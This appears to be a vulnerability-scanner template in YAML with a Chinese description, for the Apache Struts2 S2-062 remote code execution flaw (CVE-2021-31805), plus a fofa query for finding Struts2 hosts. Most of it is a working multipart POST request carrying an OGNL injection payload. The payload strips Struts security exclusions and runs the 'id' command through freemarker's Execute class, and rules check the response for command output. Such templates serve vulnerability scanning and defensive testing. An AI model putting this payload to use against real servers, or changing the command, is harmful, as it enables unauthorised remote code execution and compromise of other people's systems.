漏洞描述
该漏洞由于对CVE-2020-17530的修复不完整造成的,CVE-2020-17530漏洞是由于Struts2 会对某些标签属性(比如id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 其中x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。在CVE-2021-31805漏洞中,仍然存在部分标签属性会造成攻击者恶意构造的OGNL表达式执行,导致远程代码执行。
fofa: app="Struts2"
id: CVE-2021-31805
info:
name: Apache Struts2 S2-062 RCE
author: sodme (https://github.com/sodmelody)
severity: critical
description: |
该漏洞由于对CVE-2020-17530的修复不完整造成的,CVE-2020-17530漏洞是由于Struts2 会对某些标签属性(比如id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 其中x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。在CVE-2021-31805漏洞中,仍然存在部分标签属性会造成攻击者恶意构造的OGNL表达式执行,导致远程代码执行。
fofa: app="Struts2"
reference:
- http://wiki.peiqi.tech/wiki/webserver/Apache/Apache%20Struts2%20S2-062%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2021-31805.html
- https://github.com/Axx8/Struts2_S2-062_CVE-2021-31805
set:
r1: randomLowercase(20)
rules:
r0:
request:
method: POST
path: /
headers:
Content-Type: multipart/form-data; boundary=---WebKitFormBoundaryUcDTu2ZyWeeufPFA
body: "\
-----WebKitFormBoundaryUcDTu2ZyWeeufPFA\r\n\
Content-Disposition: form-data; name=\"id\"\r\n\
\r\n\
%{(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))}\r\n\
-----WebKitFormBoundaryUcDTu2ZyWeeufPFA--\r\n\
"
expression: response.status == 200 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)
expression: r0()